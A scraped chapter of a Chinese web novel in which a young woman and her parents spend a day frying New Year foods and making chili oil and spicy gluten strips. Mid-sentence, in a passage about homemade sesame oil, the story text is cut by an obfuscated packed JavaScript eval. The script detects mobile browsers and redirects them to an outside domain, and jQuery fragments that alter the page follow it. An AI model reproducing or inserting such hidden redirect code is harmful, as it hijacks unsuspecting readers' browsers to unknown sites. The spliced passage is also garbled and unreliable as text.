自从出来工作，外卖吃多了就受不了了，开始自己学着做饭，虽然没什么天赋，但足够糊弄她自己，而且！自己做的饭自带好吃buff，即使没那么好吃，大脑也会告诉自己这是努力的结果，味道很不错。 不知不觉外面天都黑了，宋鑫把最后一点排骨腌上，今天的任务就完成了。 她看着厨房里摆的整整齐齐的大盆，也不由得伸了个懒腰，“终于好了，好累。” 再看宋志明李云华和王意，也都满脸疲惫，她稍微打起精神，问坐在客厅的三人，“你们还想出去吃饭吗？” 下午干活的时候，她们聊天说晚上要一起出去吃饭，可是现在看看，没有一个人有那个精力出去吃饭。 三人动作一致地摇头，表示拒绝，现在想想下午的她们好单纯，怎么会觉得晚上还有力气出去吃饭呢。 宋鑫就知道，因为她也懒得动，做的时候不觉得，一结束整个人都不好了，腰酸背痛，她走到客厅坐过去拿出手机，“那我们晚上点外卖？” 12.炸鸡肉块 王意本想回家点个外卖或者随便吃点，被宋鑫强行留住并发出威胁，“你还拿不拿我当朋友了，干了那么长时间的活，我会不留你吃饭吗，虽然是外卖。” 最后的结果就是半个小时后，宋鑫家里的餐桌上摆满了各式各样的外卖。 …… 宋鑫又是一大早就起来了，今天要先吃早饭才有力气干活。 本来想点外卖的，最后她还是出门了，她想吃馅饼了，楼下的便利店就可以买到，她上高中的时候早上就经常一个馅饼加一杯豆浆。 有时候会吃两个馅饼，这种馅饼有很多口味，香辣鱿鱼、黑椒牛肉、照烧鸡腿等等，都好吃，里面的配菜也好吃，外皮也不油，很适合早上吃。 宋鑫一口气买了六个，回到家一人两个，再配上一杯热乎乎的红枣花生豆浆，美好的早晨从早餐开始。 吃完饭宋鑫拍了拍手，“好了，我们要开始干活了，今天主要就是炸。” 宋志明和李云华配合鼓掌。 先炸素菜，红薯条炸完，宋鑫看着锅里刚放进去的土豆条还在冒泡，暂时不用管，先吃了一根炸红薯条，甜滋滋的，李云华已经拿出了甘梅粉。 抓上一把炸红薯条放进盘子里，撒上好吃的甘梅粉，美味加倍，可以一口气吃完一盘。 炸好的土豆条就要配番茄酱了，也可以用其他酸甜口的酱料，或者直接撒上一点椒盐粉，也很好吃呢。 准备工作都在昨天做完了，今天最多就调配一些面糊，就没有再让王意来帮忙，昨天已经帮了很大的忙了，宋鑫准备等炸完晾凉把炸货给她打包送去。 素丸子宋鑫炸了两种口感，一种是刚炸好外面有一点酥脆，里面软绵绵的，和很多超市里面卖的很像，但是放软了整体就会变得软趴趴的，比较适合老年人吃。 另一种是她自己喜欢的，炸的焦焦脆脆，只有最中心是软的，但又不是上面那种软绵绵的口感，吃起来让人上头，唯一的缺点是吃多会把舌头磨出泡。 宋鑫是怎么知道的，问就是亲身经历，这种素丸子她一个人可以吃一大碗，尤其是刚炸好的，和它一比，薯片什么的都弱爆了。 还有藕夹，是藕切成长条，裹上面糊，调一下味道直接炸的，刚炸好的空口吃，之后可以做烩菜，丸子汤。 手上炸着，嘴上吃着，宋鑫又把麻叶炸出来了，黑芝麻是咸口的，白芝麻是甜口的，一口咸的一口甜的，咸甜永动机正式启动，虽然用油炸的透透的，炸麻叶显然就是一个热量炸弹，可架不住好吃啊，宋鑫吃的抬不起头，自己的手艺也太好了吧。 在一旁帮忙顺便尝味道的宋志明和李云华也吃的相当满足，她们只觉得每一个都好好吃，早知道就不吃早饭了，馅饼虽好，可什么时候都能吃。 错过刚炸好的年货，晚上想起来就会睡不着的，虽然说炸好了放家里也可以什么时候想吃就什么时候吃，可那不是刚出锅最好吃的时候，那可是炸货的最佳赏味期啊。 素菜类炸的很快，炸好的东西都放在客厅了，一盆一盆的相当壮观，看着炸好的豆皮豆扣，宋鑫已经想象到对方拌上辣椒油的美妙味道了。 接下来就是重头戏，炸鸡肉块，剁好的鸡肉块经过一夜的腌制，外面裹上一层薄薄的面糊，一被放进去，滚烫的油锅就发出了声音。 即使抽油烟机在不停工作，香味也飘了出来，就是这个味道，，看着鸡肉块在油锅里慢慢变色，看颜色差不多了，宋鑫把炸鸡肉块捞了出来，因为她给的火候恰到好处，现在的炸鸡肉块里面还保留着汁水，一口咬下去还能感受到鸡肉的柔嫩紧实。 和外皮的口感截然不同，巨大的反差都在这一块小小的炸鸡肉块上，由于长时间的腌制，这个炸鸡肉块即使是最里面，也不会寡淡无味。 宋鑫吃完觉得很可以了，如果是炸鸡，可能还需要复炸，但是炸鸡肉块就不需要了，这个口感已经可以了，它不追求极致的酥脆。 准备做香酥油鸡的整鸡在昨天晚上已经腌上了，宋鑫早就在去买馅饼之前把那几只鸡蒸上了，因为要做到皮酥肉烂的口感，这些鸡要蒸三四个小时才可以。 宋鑫准备最后再炸它们，因为她刚刚看了一下，鸡肉还没有蒸到完全软烂。 宋志明一边拿了一块炸鸡肉块放进嘴里，一边把大虾和酥肉拿了过来，嘴里还含糊说着，“你说这鸡肉怎么这么好吃呢。” 说着把手里的东西放下，又拿走了一块鸡肉放进嘴里开始嚼嚼嚼，宋鑫看看时间，已经快十一点了，可她觉得今天中午她们三个都不用吃午饭了。 不说其他的，只是炸鸡肉块，她们一家三口这一会儿都要吃掉一只鸡了。 但是自己的手艺真好啊，宋鑫内心骄傲叉腰，鸡骨头都被炸软了，吃起来也很好脱骨，她又拿起来了一块鸡腿肉吃了起来，给自己点赞。 李云华也在默默吃着，在吃东西的空隙用各种不同的话语夸奖宋鑫，她最近跟同事学了好多夸人的话，都把宋鑫夸迷糊了。 随着酥肉的炸好，大家又展现了什么叫做喜新厌旧。 中午果然都没有吃饭，宋鑫要了一杯柠檬水喝了，炸东西时间长了，虽然吃起来还是很好吃，还是需要清爽一点的东西来缓解一下。 现在还有最后一样香酥油鸡，蒸好的鸡肉早就在李云华的帮忙下沥干了水分，上面的调料也都被捡下来了。 现在油锅里的油也不是很多了，宋鑫算好的量。 蒸好的鸡肉放进油锅需要来回翻转，只需要几分钟，外皮颜色就发生了大变化。 炸好的整鸡取出放在盘子里，还要浇上热热的芝麻油，瞬间香味又有了变化，宋鑫家里的芝麻油是在她一个亲戚家里买的，是李云华的表亲，姓孙，她应该喊大姨。 孙姨家里的芝麻油特别特别香，从芝麻的炒制到最后的成品，全都不假手他人，纯手工做的芝麻油，还有芝麻酱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16498376|185922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也很好吃，货真价实的好东西。 宋鑫觉得这个芝麻油让香酥油鸡的味道更上一层。 所有的东西都炸好，宋鑫看着锅里的热油，决定一鼓作气把料油熬了做辣椒油。 把准备好的洋葱香菜之类放进了油锅，先熬料油，趁着这个时间，把几种辣椒粉按照配比放进罐子里，宋鑫用的这个玻璃罐子是耐高温的，可以直接泼热油。 把糖、十三香、花椒粉之类的调料放进辣椒粉里，一起搅拌均匀，再加入生抽，把这些材料润湿，避免热油泼下来有东西糊掉。 最后再撒上一层白芝麻在上面，等会儿热油一泼就会激发出芝麻的香味，油需要分几次泼进去，会冒大泡。 油泼好可以马上加一点醋进去，激发香味，接着搅拌均匀。 看着还冒着小泡的辣椒油宋鑫忍不住拿了一个炸麻叶，抹上一点辣椒油，吃的她摇头晃脑。 除了拌豆制品辣条之外，她还准备用新做好的辣椒油拌上一些凉菜晚上吃，吃了一天的炸货要吃点清爽解腻的东西。 这样想着的宋鑫嘴里又叼着一个白糖春卷，吃的有滋有味。 吃完这些，她忍不住打了一个饱嗝，接着又看向同样打起饱嗝的宋志明李云华，她觉得，也许可能大概晚上的凉菜不用拌了，她们三个谁也吃不下晚饭了。 但是该拌的辣条还要拌出来，这个拌好分装好可以吃一段时间。 宋鑫按照自己的口味加糖加辣椒油，还加了孜然粉和花椒粉，即使吃饱了她又尝起了辣条的味道，又甜又麻又辣，是她喜欢的味道。 宋志明和李云华看宋鑫的样子也吃了起来，她们这边没有做手工辣条的，平时偶尔吃一次辣条都是去超市里面买，第一次吃这种油炸豆制品做的辣条。 味道竟然比外面超市里的好那么多，而且因为盐和味精加的不多，吃完也不会觉得口渴。 李云华看着做好的这盆辣条，觉得这就是最好的电视剧搭子，一边看电视一边吃着辣条，她脑子里已经出现了画面，多么舒服啊。 还没等她开口，宋鑫就提前说了，“这个辣条我们三个分好哦，我们一人一份，不能吃别人的！” 行吧，李云华也可以接受，她还可以吃宋志明的嘛。 之后先把给周阿姨的炸麻叶装好，李云华决定等会儿家里收拾好就给她送过去，对于宋鑫发出的为什么不等明天上班顺便给她的疑问。 李云华一本正经的发问，“你是想没日没夜的炸年货吗，我可以给你带来相当多的生意。” 李云华单位里的人苦宋鑫久矣，也就今年寒假她不在家，以前她在家的时候，李云华隔三差五就带来她做的饭，馋苦食堂一大帮人。 就像现在她们这栋楼的人一样，都把窗户关的严严实实，生怕味道传进来，买又买不到，又不好上门占小姑娘的便宜，只能吃着其他东西，努力欺骗自己吃到嘴里的和闻到的是一种食物。